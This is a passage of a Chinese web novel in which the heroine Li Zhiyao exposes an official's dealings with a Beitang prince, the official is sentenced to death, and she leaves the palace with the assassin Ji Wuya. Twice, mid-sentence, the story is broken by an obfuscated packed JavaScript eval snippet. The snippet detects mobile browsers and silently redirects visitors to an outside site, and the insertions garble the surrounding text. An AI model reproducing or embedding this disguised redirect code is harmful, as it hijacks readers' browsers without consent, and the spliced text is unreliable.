只要有北唐人被抓进去,他们搜身不愁搜不出证据,乞丐都看到他和宋庆走在一块,届时指认就算宋庆说他不知此人身份,一旦裴执身份坐实,宋庆永无出头之日。 北唐皇子悄悄潜伏在他朝京城,其心对两朝帝王都值得揣测。 再将裴淮引蛇出洞,宋庆就是当晚跟裴淮见面的官员,裴淮身份坐实,必定会引起北唐重视,加上裴淮火烧护国寺,几次三番追杀她,当初进大魏皇宫刺杀,若是在被秦立山认出来,裴淮在大魏必定成为众矢之的。 他逃回北唐,少了三皇子在他身后推波助澜,想成大事,必然要经历更多波折。 限制裴执,将裴淮立于众矢之的,扫清大魏唯一能帮到他的障碍,此举一箭三雕。 李之夭从银来庄后门走进去,金三娘已在那等着她了。 这还是李之夭第一次见到裴执,裴执不属于裴淮那种极具攻击性的长相,,也非纪无涯的第一眼淡漠,反之与其相反,给人一种温和知书达理极好亲近的感觉。 只不过在前院,他手底下的人和耿进才争论不休,上次他们看得一清二楚,是耿进才和金三娘带着县令把他们主子给抓了进去。 前几次城中风声紧,他们来几次都没有见到耿进才,今日终于遇上时机,在他看来,他留在大魏的暗探全部消失,一定是有人从中作梗,他怀疑来怀疑去,最后只能想到银来庄上。 毕竟他刚出事,后脚曾跟他交易的铺子就易主,一切过于巧合。 今日寻到过来试探,想看看事情是否如他所料,同时银来庄幕后之人不简单,北唐也分布银来庄,世人皆知银来庄利润高,个个趋之若鹜,这样一家产业,若是能拉拢收到他麾下,不愁日后何事不成。 裴执不动声色坐在椅子上,小二跟他的下属争论不休,险些闹起来,门口聚集了一堆围观的百姓,宋庆从人群里挤进来,一眼就瞧见画像上的人。 但他等在外面许久,也不见裴淮过来,等到官府的人再次过来,要把银来庄和裴执一行人带走去问话,若是不管,宋庆担心裴淮来会惹出不必要的麻烦。 于是他主动现身道,“老远就听到这边在吵,发生何事?” 衙役打量着他,“你是何人?” “我乃吏部尚书,路径此地。” 衙役听闻神色恭敬许多,“他们二人因生意上往来纠缠不休,有人报官,需要县衙做决断。” 宋庆更不敢把人交出去,立刻在他们中间打圆场,“即是生意上的往来,那必定会有争论不休的时候,如此兴师动众,也耽误你们二人做生意,我说句公道话,过错方拿出点诚意给有损失的一方,两家商量出个解决方案就成,何必闹到衙门里去。” 小二阴阳怪气:“还得是你们这些大官人会做人。” 耿进才见鱼已上钩,假装为难,“不是我们不想,是他咄咄逼人。” 再下去也看不出什么,裴执没想到能把大魏的官员引来,怕事多生变,也就顺着台阶下了,“既然大人都这么说了,我若是再闹下去,就成我无理取闹了。” 小二嘟囔:“本来就是。” 裴执一记刀眼过去,耿进才忙挡在小二身前,“既如此就不闹到官府了。” 他们的本意不过是逼宋庆出来,目的已达成,他们也不愿继续争执下去,只不过今日宋庆为裴执说话打圆场,都会成为刺向他的一把利刃,到时候都是供词证据。 李之夭看完这出戏,踏雪也回来了,交代的事情已办妥,只剩秦立山问出那人的身份,乞丐也都安排到天牢附近,在禁军查找的时候恰好把这件事说出去。 给足了银子和日后他们生活的体面,以此收买人心,不怕他们不会配合。 飞鸿继续跟着宋庆和裴执他们,裴执离开银来庄后,宋庆也跟上去了,不知宋庆给裴执看了什么,他面色大变,两人先后进了一家酒肆。 飞鸿进去确认过,宋庆和裴执约了雅间进去后就没出来,透过窗户纸,可以看到他们二人都在里面。 他一直守在附近同自己人互相传递消息。 黄昏降临,天牢那边也有了消息,一切都在李之夭的掌握之中,她回到天牢,正好赶上秦立山准备外出拿人。 他面上震惊愤怒和难以置信交织在一起,看见她就痛心疾首道:“宋大人身为朝廷命官,实在难以置信,他竟然搅和在这件事里,竟还混进了北唐人!” 李之夭也一脸震惊和难以置信,“怎会如此?大统领速速把人抓回来,还宋大人清白啊!” 61. 宣判 第61章 酒肆内,还在跟裴执交谈等待裴淮过来的宋庆,心中隐隐闪过一丝不安,按理说裴淮的下属找裴淮很好找,太阳快落山了也不见他回来。 裴执微微皱眉,他眉宇担忧,“大人跟我接触时,身边可有可疑的人。” 宋庆想说他尽量不招人显眼,别人看他才是最可疑的,“没有。” 正当二人还想再说什么,房间门被人从外头一脚踹开,大批禁军涌了进来,裴执惊慌站起身,看上宋庆神色满是愠怒,“你设局骗我!” 他说话准备跳窗逃走,秦立山眼疾手快飞身上前一把揪住裴执的后衣领将他整个人拽了回来,心中不满的裴执顿时跟秦立山打了起来,几招过后,裴执胸口挨了结结实实一脚,踹飞出去趴在地上,再想起身两把兵刃已经架在他脖子上了。 秦立山看向宋庆,宋庆讨好的笑起来,结果也被人押住,两人被捆起来带走。 躲在暗处的青鸢目睹这一切,她只能咬牙回去跟裴淮禀告。 裴淮下午的时候就收到消息说派去宋庆身边的人失踪了,再有消息就是进了天牢,据说他招架不住刑罚,已经什么都招了,就连身份也吐得一干二净。 现在宋庆被抓,裴执也被抓,他能预想到接下来就是满京城搜捕他。 杨刻满脸着急,他不敢相信大魏的人动作都这么快,他们只是慢了一步,导致后面的事情全部发生了改变,本该握在他们手里的胜利,顷刻间倒向大魏。 从中萃轩的人大半夜被关进大牢开始。 裴淮道:“我们现在还能集齐多少人手?” 青鸢道:“最快三天之内只有二十人。” “三天。”裴淮轻轻算了算这个数字,“立即召集人手,闯天牢,救人。” 杨刻和青鸢对视一眼,关乎裴执和宋庆,他既然答案了苏月清会保证她养父的安全,就一定不能出差池。 可是到了那日,若是二者只能选其一,他能保谁。 裴淮闭上眼睛,揉了揉眉心,青鸢似乎也想到同样的问题,“主子,属下多嘴,若三皇子和宋大人只能选其一,主子选谁?” “两个必须救。”他语气不容置喙。 青鸢料到他的回答,同样杨刻也在听着他给出答复,这个问题也是他想知道的,“若是出了意外只能救一个,主子必须给我们一个准信出来,制定计划时到时候也能应对,因为宋大人和三皇子他们身份始终不同,计划也得有所改变。” 裴淮微微垂着头,心里进行很大的思想斗争,最终拿定决心,“若是出了意外,救三哥……”说到此处他似乎能想象到后面苏月清知晓该会是什么样的神情,语气微微颤抖,重复着一句,“救三哥……” 他们知晓这是裴淮最难的抉择,不再追问下去缘由,默默离开去召集人手。 因为宋庆的关系,他好歹也是大魏的吏部尚书,秦立山将此事飞鸽传书给清武帝。 清武帝知晓后捏紧手中信纸,面色低沉,拿起茶盏狠狠摔碎在地上,碎片四溅,他看向一旁候着的苏月清和孙广全,最后目光落在苏月清身上。 “苏侍女你可真是有个好养父啊。” 苏月清赶忙跪了下去,声音清冷,不卑不亢,“奴婢不知家父犯了何错竟惹得龙颜大怒。” “现在查出他勾结北唐皇子,这可是通敌灭族的死罪啊!” 苏月清眉心一跳,但她想到裴淮说会保住她的养父,现在不知京城那边时局如何,只能咬死不认,她再从中为她爹说点好话,“皇上,家父是清白的,他没必要勾结北唐皇子,再说他勾结北唐有什么好处,奴婢相信,清者自清,公道自在人心。” 清武帝冷笑一声,“清者自清?公道自在人心?朕若是知道他勾结北唐皇子是何居心,早就把你拖下去砍了!秦立山亲自查了一圈,人证物证具在,就连那日绑架春夏小顺子时追的官员跑落的一只鞋也找到证据,那双鞋就是他的,这样的情况下,你跟朕说清者自清,公道自在人心?” 苏月清掩饰面上的慌乱,“家父是冤枉的,他为大魏这些年,皇上心里都明白,家父不是这样的人,这样实在伤人心,再说万一家父是被人陷害。” “陷害?谁陷害他犯得着兜这么大圈子,他当众为北唐皇子说话,百姓都看到了,还跟他一同进了同一家酒肆,禁军进去拿人的时候可是抓个正着,你跟朕说冤枉?” 苏月清不再出声,孙广全上前扶住清武帝,帮他顺气,“皇上息怒,龙体要紧。” 清武帝道:“孙广全,你替朕传信给秦立山,让他务必彻查此事,看看究竟有没有人在从中捣鬼,让检察院大理寺的人都着手参与此事,传朕旨意,明日一早启程回京,朕要亲自过问。”他睨了一眼跪在地上的苏月清,她到底对他有一份救命恩情在,“倒要看看是不是真的冤枉了宋大人。” 在大殿中烧香礼佛的太后江氏坐在蒲团上,身后的案上供奉着菩萨,香炉内香已经燃尽,四下没人,她早些时候就已经把守着的宫人全部都打发了出去,她扇着风企图散散屋子里的热气。 门被扣响,她赶忙端正跪在蒲团上,“谁啊。” “启禀太后,皇上有令今晚收拾后明日启程回宫。” 江氏嘴里嘀咕,这皇上最近不知抽什么疯,先是杖毙了她进宫前的贴身嬷嬷,说好来骊山避暑一个月的,结果才住了几天,又急匆匆赶回去,“可是发生什么事了?” “不知道,好像是因为朝中官员除了问题,需要皇上亲自裁夺,这才急着回去。” 江氏哦了一声表示自己知道了,便起身唤人进来伺候她,只要因为李之夭那个祸害就行。 而沈宁听说此事只是笑了笑,她将写好的书信递给身边的丫鬟芙蕖,“朝中怕是要出大变动,麻烦你将此信托人传给爷爷,让他尽早回京。” 芙蕖接过心小声问道:“怎么着急唤丞相回京,这次局势这般严峻?” “非也,不是严峻,而是小心驶得万年船,爷爷两年前刚建朝,和徐太傅吵了一架就跟皇上请辞离京外出远游,原本他们二人朝政上互相扶持,是关系最好的朋友,经过此事不知为何两人关系降到冰点,若是爷爷还不回来,后面我怕再出别的变故。” “奴婢多嘴,是为何事吵架?” 沈宁摇头,说自己也不知,“他们是私底下吵起来的,周围都没人,只有他们自己知道,现在我并不喜徐太傅,说不上来为何。” 芙蕖不再多问,扶她起身朝床榻走去,“明日一早还要早起回京,路上想必又多加折腾,还是早些歇息吧。” 远在京城那边,李之夭她通过秦立山已经知道今日清武帝会快马加鞭赶回来,加上检察院和大理寺全部都参与进来,定是因为苏月清说话的缘故。 只是此次她做的滴水不漏,也不曾派人陷害过宋庆,只是从后推波助澜让秦立山发现事情的真相罢了,铁证在前,银来庄没什么问题,谁能想到北唐的三皇子竟然办成商人来跟银来庄名下的铺子做生意,还被银来庄查出货物劣质,将他告到官府关了许久。 若银来庄跟三皇子有牵连,为何将他告发抓起来,更不会招摇到当街跟人吵架,引得百姓围观。 要怪只能怪宋庆听了苏月清的话选错了路,通敌的罪名,不是谁都担待得起的,更何况这个人是吏部尚书。 原本一天的路程,清武帝和孙广全骑马带着一对禁军赶来的,半天就到了,他到的第一时间便来了天牢。 裴执为了保命和不受刑,昨晚的时候就将自己身份亮了出去,此时站在审讯室里,底下跪了几人人,中萃轩的掌柜一家,宋庆和昨日逮到跟在宋庆身边裴淮的下属。 中萃轩一家没想到自己一家小作坊,竟能摊上这么大的事,现在圣驾临前,他们都快觉得呼吸困难,生怕天子不高兴或者遭受牵连,小命全丢了,只能战战兢兢把头埋得老低,不敢发出一点声音。 谁曾想皇帝第一个找的就是他,“你确定那只鞋的主人就是吏部尚书?” 掌柜半晌没缓过来,还是他妻子打了他肩膀才让他回神,“是,草民不敢攀诬欺瞒,鞋身绣纹针法是草民从蜀州聘请过来的一位绣娘,宋大人喜爱蜀绣翠竹,所以他的鞋都是针法图案都一样,可派人去府中查看大人在中萃轩置办的衣物鞋子等是否一致,草民不敢说谎。” 收到清武帝的眼神示意,秦立山立刻将昨天去府中按照册子上的购买信息找出来的东西一一呈上来,检察院的人查了一遍,大理寺的人也查了一遍,昨日他们也去了尚书府跟着一块搜查,并未发现异常。 清武帝看完,又看了裴淮下属的供词,他说自己听命于北唐的六皇子璃王,他看了苏月清一眼,“因为苏姑娘跟我家殿下颇有渊源,加上苏姑娘查找自己身世,璃王殿下因此才跟宋庆搭上关系,我跟着宋庆也是受璃王所托,守义镇那晚确实是宋庆。” 李之夭站在旁边,默默旁听,此时春夏上前跪了下来,“皇上,当晚奴婢听到的说话声就是宋大人!” 清武帝缓缓闭上眼睛,苏月清缓缓跪在宋庆身边,即便这样,她依旧不慌不乱,“皇上,家父不会,我也从未和璃王相识。” 李之夭适时出声,“七月初七那晚,我身边的人可都看得一清二楚,你将我推向杀手刀口,后又是裴淮助你春夏和小顺子才会被绑,不然你怎么解释我当晚是跟缘楼的十三护法一起失踪,秦大统领找来时,你却出现在莲花村,难不成是裴淮劫持你一路将你带到莲花村?事实究竟如何,莲花村的村民都能作证。” 她说完抹了抹眼泪,眼神隐忍,提及当晚她又表现出不安和后怕。 秦立山也说确实如此,他当时过去只见裴淮突然拿刀对准苏月清,之前的情况但他并不清楚,“是否需要属下派人去莲花村带人证?” 清武帝说不用了,“宿宁从不与人为争,朕信她。” 苏月清顿时瘫坐在地上,她愤恨地盯着李之夭,眼神仿佛在质问她,为什么要这么做,为什么要把她害到这个地步。 也是此时她忽然想明白了,这一切全都是李之夭在背后推波助澜,她早就知道了他们的计划,所以她才将计就计,为的就是将他们一家人全部拉下台! “你可还有什么话要说?” 苏月清没有辩解,“奴婢无话可说。” 后面审问大差不差,人证物证具在,宋庆的罪名已是板上钉钉的铁证,清武帝看着裴执道,“你身为北唐皇子,朕不会处置你,但会将你跟随送信使团混进大魏等一系列事情一五一十告诉安庆帝,至于他怎么处置你,回信尚未送到前,只能委屈你先留在天牢内了。” 裴执出声道:“那我妻子呢,你软禁了我的妻子,你得将她还给我!” 清武帝诧异,秦立山解释道,“皇上,他的妻子并不在大魏,而是一直留在北唐,他所说的妻子,是臣引蛇出洞的计谋。” 闻言宋庆愣愣看着秦立山,他张了张嘴,似乎有千言万语在心中,但此时却一句话都说不出来,他明白,原来这场抓捕的布局,在他丢了鞋子的那一天已经开始了。 李之夭上前福身,“是我假扮的。” 苏月清神情有些崩裂,她再也维持不住往日的清冷体面,质问道:“为什么要害我们!” “苏姐姐,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150997|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要人不知除非己莫为,当日你救下璃王,将人送到我宿宁宫门前让我救他时,你选择的方向就错了,若你实在想知道你的身份,大可去北唐打探一番就行,就连我都知道,你随身携带的玉佩价值不菲,何为弯弯绕绕进宫呢?” 李之夭重重叹口气,“你医术高明,能做的事情很多,宋大人是大魏重臣,不管你们如今是否酿成大祸,因已种下,往后必有果,不是我害他,是你的选择害了他。” 苏月清眼泪掉了下来,“我不听!都是因为你!” 在她心中,已经认定了是李之夭导致他们一家的悲剧,不然不会被发现,更不会像今日那样大难临头。 “宋庆通敌叛国,罪无可恕,传朕旨意,明日午时斩首示众,苏月清朕念你曾救朕一命,死罪可免,活罪难逃,宋家连坐抄家,贬为庶人流放北地。” 宋庆彻底心死瘫坐在地上,他忽然痴痴笑了起来,他曾想过这一天,只是没想到来得这么快。 至此宋庆一事告一段落,秦立山继续追捕裴淮,他刺杀大魏皇帝的事并没有写在送往北唐的信里,因为他不认为北唐会这么好心,就他这份魄力都甚得安庆帝欢喜,毕竟璃王的名头,他曾经也听过,所以让秦立山暗中捉拿裴淮。 清武帝心中冷笑一声,只不过当年的事他也听说过,虽然他并未参与进去,但当时知晓内情的人,大魏,燕国和北唐都杀了好多人。 只因二十一年前一句‘龙启于南,归元所一’的判言,就葬送无数无辜性命,燕国先皇,在他之前的魏皇,前两位都死了,主导这场悲剧的人只剩下北唐的安庆帝。 李之夭他们出去的时候外面天色已全部黑了,清武帝叫住她,“既然要搬出宫,位置可有要求?” 李之夭想了想摇头福身,“没有,全凭皇上做主。” 清武帝嗯了一声先走了,李之夭跟在他身后一起回了宫中,春夏不安的抓住她的袖子,生怕再出什么乱子。 好在今夜宫里一切平安无事,她难得安睡到天明。 午时一到,就是宋庆斩首的时辰,她站在被宫墙挡住只剩下一点蔚蓝的天下,现在已经断了裴淮的后路,将他彻底推向困境。 流放的宋家路过刑场,正好瞧见宋庆行刑的场景,苏月清泪眼朦胧看着宋庆,她不断往回张望,步子慢了,被送行的衙役一推,身形踉跄。 斩首的命令发出,她转过身往前看,她开始想是不是自己做错了,害了她的养父,但若这件事上没有李之夭,她的养父还会活着,内心悲痛交加,眼泪不停地溜。 她这几年深受宋庆之恩,养父的死,不能就这么算了。 流放的罪民出了城,刚走到荒郊野外,裴淮和青鸢蒙面出现在她跟前挡住去路,衙役跟他们拼杀,眼睁睁看着裴淮将苏月清劫走毫无办法。 只能仓惶回去禀报此事,等他到门口,天牢忽然暴乱,一群黑衣人蒙面冲进天牢,杨刻带人闯进去一路呼叫裴执的名字,企图等到回应,找了一圈都不见裴执,想转身离开时,却见秦立山带着禁军把他们围个水泄不通。 双方拼杀杨刻那边人数较少渐渐落了下风,他们本怀着死拼的念头一定要将裴执救出去,今日是宋庆行刑的时辰,以为天牢守卫松懈,没想到反而落入了圈套。 最后关头,青鸢赶到将杨刻带走,一路逃出城外。 苏月清被救走,但在天牢里的裴执也未能顺利救出,裴淮在大魏的势力在此彻底根除,就连他开的铺子先前赌约藏下的铺子,主子大势已去,也被银来庄顺藤摸瓜检举上交上去。 “主子,现在怎么办?” 裴淮目光一寒:“回北唐。” 他本想风风光光轰轰烈烈的回去,让那些人知道身为璃王的他,哪怕离开都城多年,再出现也非池中之物,可现在宛如丧家犬般被大魏追兵撵得四处逃窜。 这个仇他一定会报! 晚间的时候又下了场雨,待到第二天天明,天气凉了下来。 纪无涯清醒发现自己在马车上,他揉了揉发沉的太阳穴,掀开马车的窗户,外头景色憧憧,不知去到了何处,只见入目都是田野。 雪坐在车顶上看到他,明快的声音传来,“十三师兄,你醒啦!” 寻方在前面驾驶马车,“师兄对不住了,但我不能让你回缘楼。” 纪无涯瞬间想通这件事是他们跟李之夭说的,不然李之夭可没有那么好的心让他们带着他离开。 “师兄,我们先去姑苏小住一段时间,然后再去打探下月集的下落。” “你们有跟李……宿宁公主说让她需每两日喝药的事么?” 雪晃了晃悬空的脚,“没有走的匆忙,忘记了,但师兄那不是我们该操心的事,麻烦公主那边有那么多能人异士,她总不能死了。” 纪无涯钻出马车翻身上车顶点住雪的穴位,一手夹住不能动弹的人,寻方赶忙勒停马车,下一瞬纪无涯就移到了他跟前,不等他出声也点了寻方的穴位。 他将雪和寻方弄到马车里,他驾着马车朝藏在田野的屋舍赶去。 “你的穴位三个时辰后就会解开,我的解穴方法你也会,届时你再帮雪解开,你们在这里等我。” 寻方出声:“师兄,你要干什么去?” 他相信自己从来不是感性的人,留羽发作,日渐加重,后面会开始出现浑身像虫爬过的噬心疼痛,他们没提醒李之夭和她身边的人两日就要服药,万一得不到压制就是身亡。 自从上次她帮雪为他们寻来解药后,纪无涯总觉得心中对李之夭时有愧疚。 不想她死了。 “我要去找她。” 62. 出宫 第62章 晚间又开始下起淅淅沥沥的雨,李之夭本想找个机会去寻沈宁再了解一下当年有关于她母亲连漱的事,但突如其来的雨让她不得不将计划搁置。 下月她将要搬出宫去,按照以往前朝公主存活下来,通常是看管寄样在某位官爵府中,很有可能一杯毒酒白绫赐下,了结此生,碰上通情达理的,安分守己,也能嫁人生子,或是放出去。 她这样的算是独一份,先是被养在宫里好吃好喝恭恭敬敬的养了两年,皇帝宠爱,风头都快赶上大公主了,现在还能搬出去赏赐一座宅子不用寄人篱下。 李之夭想出宫,本以还要筹谋些时日,但没想到她母亲的故人简单几句话就帮她完成了这份心愿,她想去找沈宁表达谢意,可惜今日天公不作美。 在书中,根本就没有沈宁这号人物,斗胆猜测是她觉醒后做的事倒是产生连锁效应,剧情走向出现偏差。 怎料入夜后,李之夭只觉胸口发闷,脑袋传来尖锐刺痛,紧接着浑身好像有千万只虫在啃咬,她挣扎从床上起身,失手打翻案上茶盏,跌坐在地,她想张口喊守夜的春夏进来,可嗓子好像不能发声,张口胃里一顿翻江倒海,干呕起来。 外头闷雷阵阵,掩盖了她打翻茶盏的声音,她只觉双腿无力,支撑身子站起来都困难,她无奈只能制造更大的动静,企图引起外面耳室春夏的注意力。 忽然传来门被猛然推开的声音,风雨争先恐后吹进来,天上划过一道闪电,照得天际发白,雷点轰鸣,风声呜呜。 春夏惊恐的声音传来,“什么人!”外头的灯亮了起来,李之夭视线朦胧,她忽然觉得自己是不是快瞎了,“你怎么来了?唉唉唉!里面是主子的卧室,你不能进!” 有人不顾春夏的阻拦,闯了进来,李之夭视线清明,只见纪无涯蹲下将她搂进怀里,春夏慌忙上前,“主子!你怎么了?我去找张太医!” “等等!”纪无涯喊住她,他从怀里掏出一张药方,“不用找太医,按照这个药方,抓药熬给她喝。” 春夏接过去叫醒时雨和小顺子,小顺子跑得快,衣裳都来不及穿好,边跑边穿去太医院找人。 纪无涯趁这段时间再为她输了点内力稳住留羽毒,他连夜冒雨赶来,原本衣袖上滴滴答答的水随着他的内里渐渐蒸发,只是发上水迹未干,额上挂着些许水珠。 输完内力,纪无涯轻轻将她放回床榻上,春夏为李之夭盖上被子,时雨为他递上一块毛巾让他擦擦未干的头发。 小顺子将药护在怀里,直奔进厨房起火熬药。 莫约一个时辰后,熬好的药就送了进来。 李之夭现在已是半昏半醒的状态,闻到那股苦味出于本能的抗拒,时雨见几次主子都不肯配合喝下去,纪无涯从她手里拿过药碗。 再次闻到那股药味,李之夭眉头再次皱起,纪无涯知道她能听见,只是眼睛睁不开,“喝了糖再给你。” 虽然还是半推半就,好在她还是能喝下去半碗,纪无涯也不勉强她将剩下的半碗喝下去,已经输了内力压制,等到第二天睡醒就好了。 纪无涯取出一颗糖放在她枕头旁,留下春夏和小顺子守夜,他们现在说什么都不敢再睡了,时雨跟着他走到外室。 “多谢阁下救主子!” “那副药方你们留着,两日熬一次给她。” 虽然早知她家主子和纪无涯互相合作,他也没了当初想杀她的心,但在此刻时雨已将他当成了自己人。 见纪无涯有要离开的架势,时雨出声留住他,“外头雨大,纪少侠何不等雨停了再走,主子醒过来,她定是想见你的。” 纪无涯说不用,“她醒了知道我来过,我要去缘楼拿解药。” “你既然要走,不妨把伞拿上。”李之夭的声音虚弱传来,时雨和纪无涯回头,看她穿上外衣,手里拿着一把伞,外头的雨被风吹得飘来些水气。 “你怎么醒了?”纪无涯往前挪了半步,立在她跟前,为她挡住飘来的雨。 李之夭失笑:“那药被小顺子熬得太苦了,胃里难受,就醒了。”她说完将伞递过去,“按照你的脚程多久能到缘楼?” “若现在出发,天亮就能到。” “若是带上我呢?” 众人难以置信地看着她,春夏想出声李之夭打了手势阻止她说话,继续道,“我在这里待得闷了,况且我不想喝药,我同你前去,他们不会为难你,宁缘城距离旧燕国很近,我是燕国皇室出身,说不定能帮你找到下月集的线索,宁缘城驻扎的主将曾经是燕国人。” 这是一个无法让人拒绝的说辞。 若他自己孤身一人去缘楼,势必会将缘楼搅得一团糟,还有可能丧命在那里,若有李之夭在,蓝素衣看在大魏的面子上,也会交出留羽的解药。 带她去确实比较方便。 “好。”外头的雨越下越大,他认真地看着,“现在走吗?” 李之夭点点头,“现在。” 小顺子出声:“可是主子,现在外头还下着雨。” “我知道,就是因为雨天,趁夜出去不轻易被人发现。”经过前几次事情,宫里的守卫比平时更加森严,清武帝身边的暗卫都被派在宫里暗处守着。 她没什么要带的,顶多让时雨为她收了一两件衣裳,她不愁银子,因为银来庄在大魏到处都有,就算缺什么都不会缺了银子。 李之夭在里头又批了件披风,最后才穿上蓑衣戴上斗笠,临行前她交代道:“若是皇上来找我,帮我称病就是。” 按照清武帝的脾性,打算让她出去住这段时间就不会来宿宁宫,绾妃和大公主都在禁足,也不会来找麻烦,江氏也不会来找她,只是她忽然想沈宁,“若是贤妃娘娘寻我,你们同她实话实说就是。” 沈宁既是她母亲的故人,心里难免有个天真的念头,对方也不会害她。 李之夭交代完走出门,少年斜斜依靠在门框上,双手环胸,烛火映着他清瘦挺拔的身躯,听到动静朝她望来,照得眉眼轮廓不似平时淡漠疏离,反而有几分温柔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167883|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 纪无涯背着她一路避开宫里守卫和藏在暗处的暗卫,脚踏乘风诀行得极快,一刻后就出了宫。 新朝初立,宫里守卫疏漏的地方还许多,这也是为何总是频频能给敌人钻空子进来的原因,可一味把注意力集中在宫里,前朝留下的官员是好是坏尚不明朗,清武帝一时半会儿也动不了他们。 宋庆一死,吏部尚书的职位便空了出来,清武帝趁机彻查吏部官员,大刀阔斧整顿一番,政务必是忙得脚不离地。 所以她悄悄溜出去,不会被人发现。 出了宫,纪无涯唤来他的马,两人齐齐朝城外离去。 行至半路,雨水骤停,天色将明,纪无涯放缓了马的速度,远远看见前方一处客栈烟囱升起炊烟,到门前刚好遇到开门的小二。 纪无涯先下马,再将李之夭接下来,对上迎面笑容灿烂的小二,“一间上房,早点午饭备好,我们下楼,不用上楼。” 他说完抛给小二一两银子,“这附近可有别的马?” 小二指了指客栈旁边的小路,“有的有的,客官,顺着这里一直往里走看到一座村子,村长家卖马,他们家的马匹都是好马,可日行千里,凡是来这里买马的人都不是少数。” 李之夭听了朝着小路尽头望去,只见屋舍错落,在林间若隐若现。 纪无涯应了一声,将手里缰绳递给他牵到马廊里。 他们推门进去时,客栈的大堂里已经坐了不少江湖人,他们听到动静朝来人望去,只见模样俊俏的一男一女并排走来,少年指尖上下抛着银色的圆币,两枚银币落下碰撞在一起发出清脆的声响。 姑娘静静跟在他身边,李之夭被那些男男女女大量得浑身有些不自在,下意识抓住纪无涯的手腕。 一般路上出现的客栈都是江湖人往来之地,他们多多少少有自己的路子,就算不认识纪无涯,但还是认识他手里的银币。 江湖传闻,缘楼十三护法,武功在江湖上难逢对手,就连缘楼楼主都忌惮几分,他在杀手榜上也赫赫有名,最喜暗器是银币,也可摘叶飞花,杀人于眨眼间。 今日他出现在这里,有人心中一惊,难不成是他突然来了兴致接单然后追踪至此? 可转念一想,他身边还带了名姑娘,根据他们观察,姑娘似乎不会武功,一直跟纪无涯寸步不离,两人形影不分,看上去甚至亲密。 他们默默观察纪无涯的动向,见他目不斜视,领着姑娘径直上了楼去。 合上房门,李之夭才稍微松了口气松开紧紧拽着纪无涯的手腕,同时也问出困在心里的问题,“为何只要一间房?” “你一个人住不安全。” 李之夭刚想说有什么不安全的,就听屋顶传来窸窸窣窣的声音,纪无涯示意她不要出声,李之夭默默走到角落的椅子上坐下,纪无涯飞身上房梁。 屋顶的瓦片被人慢慢揭开,有人趴在房顶往下窥探,纪无涯抓住机会飞身上去破开屋顶,揪住来人的衣领,将他拽回房间里,整个人摔在地上。 63. 赚钱 第63章 偷听的人躺在地上不断哀嚎,李之夭抬头看到破开的屋顶上似乎聚集了几个人,其中一人手上握有弩箭,对准下面。 “纪无涯小心!” 纪无涯应声抬头,指尖飞出银币,箭头和银币在半空中碰撞发出噔的一声。 银币落在地上滚到李之夭脚前,她低头刚想去捡起来,只见银币颜色慢慢变深,她猛地缩回手,连脚都抬起来,双手抱着膝盖。 “弩箭上有毒。” 纪无涯掌风打翻桌子,挡在李之夭身前,他飞身蹿上屋顶,周身站了莫约六七名身穿布衣的江湖人,两人手拿弩机,其余人手持长剑。 见他上来,拿弩机的两人齐齐又对他射了两箭过去,纪无涯拔出腰间软剑,手舞剑挡下迎面来的弩箭,须臾间再侧身横空斩断另一只弩箭。 继续挽剑,调转剑锋朝最开始射箭的人攻去,一脚踹在他胸口,踢飞手里的弩机,伸手接住借势落到屋顶的高处,对准较为年长的一人。 “莫掌门,何处不相逢,我不找你们成明宫的麻烦,倒是先来找上我了。” 成明宫的掌门莫金泽面色面色一沉,伸出食指和中指指着纪无涯怒道:“少废话,你闯进我们成明宫杀了我成明宫的二长老,这事不能这么就这么算了!必须让你以命偿命” “我是杀手,杀手接雇主的单子办事不挺正常?” 莫金泽追问:“是谁雇你去杀二长老的?” “我从不会透露雇主信息,若你们成明宫实在觉得恶气难消,也可雇我去杀了背后雇我之人。” 莫金泽气得够呛,他从未见过这样两头赚的人,顿时面色涨红,声音都不自觉拔高,“你说出来只是我们成明宫和别人的恩怨,倘若不说就是你我之间的恩怨了,你可要想好。” 纪无涯不被他的话威胁,“莫掌门怕不是觉得你们成明宫付不起我这个价格?我贵是贵了点,但从失手。” 从他冰冷的语气里,说出这么扎心的话,莫金泽指着他你了半天饶是说不出一句反驳。 江湖上谁不知雇纪无涯杀人死贵,偏偏这人有时候看心情接单,价格起伏不定,心情好的情况下几个铜板就能解决问题,要是碰上他心情不好,万金都难请动这尊大佛。 今日他主动提这件事,莫金泽只觉是他想趁机来坑成明宫一笔,但张嘴出来的话又成了别的,“那位雇主给了你多少杀二长老?” 纪无涯伸出空闲握剑的手,比了个二。 莫金泽在心里盘算,二百两,若是加价是他能接受的范围,纪无涯看他深思熟虑的模样,“莫掌门,这么点钱成明宫还是能付的,两倍而已,一劳永逸,去了之后我绝不加价,或是反水。” 而已? 那岂不就是……“这、这……” 这四百两等于他们成明宫快一个月的支出。 “能不能二百两从你这里买那位雇主的身份。” 纪无涯摇头,“这不符合我的原则。” 李之夭在下面听完了整个过程,她出声道:“我有个提议,此处距离银来庄不过五十里,莫掌门不妨去跟银来庄借点银子,据说银来庄借钱,前两个月没有利息,就算到时候还钱快的话借多少还多少,若是延误,后面一个月横竖不过二十两的利息。” 她晃了晃手中不知何时写好的借据,“这可不是印子钱。” 李之夭倒是一贯会做生意,抓住这个机会给人推销。 